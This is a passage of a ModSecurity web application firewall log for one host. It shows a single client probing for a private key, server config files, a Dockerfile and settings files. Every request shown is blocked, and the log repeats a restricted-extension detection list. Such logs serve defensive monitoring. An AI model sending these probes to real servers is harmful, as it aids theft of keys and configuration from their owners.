&quot;aZ-N2Q3HqGC30X9HPoEluAAAAAM&quot;]
[Thu Feb 26 01:03:37.543741 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfsigned.key&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QpwAAAAU&quot;]
[Thu Feb 26 01:03:37.543908 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfsigned.key&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QpwAAAAU&quot;]
[Thu Feb 26 01:03:37.544138 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEluAAAAAM&quot;]
[Thu Feb 26 01:03:37.544307 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEluAAAAAM&quot;]
[Thu Feb 26 01:03:37.589713 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpd.conf&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEluQAAAAM&quot;]
[Thu Feb 26 01:03:37.590227 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpd.conf&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEluQAAAAM&quot;]
[Thu Feb 26 01:03:37.590475 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpd.conf&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEluQAAAAM&quot;]
[Thu Feb 26 01:03:37.594518 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QqAAAAAU&quot;]
[Thu Feb 26 01:03:37.595025 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QqAAAAAU&quot;]
[Thu Feb 26 01:03:37.595187 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QqAAAAAU&quot;]
[Thu Feb 26 01:03:37.619001 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpd.conf&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QqQAAAAU&quot;]
[Thu Feb 26 01:03:37.619481 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpd.conf&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QqQAAAAU&quot;]
[Thu Feb 26 01:03:37.619627 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpd.conf&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QqQAAAAU&quot;]
[Thu Feb 26 01:03:37.680107 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QqwAAAAU&quot;]
[Thu Feb 26 01:03:37.680316 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QqwAAAAU&quot;]
[Thu Feb 26 01:03:37.680458 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QqwAAAAU&quot;]
[Thu Feb 26 01:03:37.700644 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEluwAAAAM&quot;]
[Thu Feb 26 01:03:37.700870 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEluwAAAAM&quot;]
[Thu Feb 26 01:03:37.701021 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEluwAAAAM&quot;]
[Thu Feb 26 01:03:37.898416 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElwQAAAAM&quot;]
[Thu Feb 26 01:03:37.898926 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElwQAAAAM&quot;]
[Thu Feb 26 01:03:37.899098 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElwQAAAAM&quot;]
[Thu Feb 26 01:03:37.903062 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QsQAAAAU&quot;]
[Thu Feb 26 01:03:37.903545 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QsQAAAAU&quot;]
[Thu Feb 26 01:03:37.903696 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QsQAAAAU&quot;]
[Thu Feb 26 01:03:38.074817 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/settings.ini&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QtgAAAAU&quot;]
[Thu Feb 26 01:03:38.075364 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/settings.ini&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QtgAAAAU&quot;]
[Thu Feb 26 01:03:38.075938 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/settings.ini&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QtgAAAAU&quot;]
[Thu Feb 26 01:03:38.100479 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/settings.ini&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElxgAAAAM&quot;]
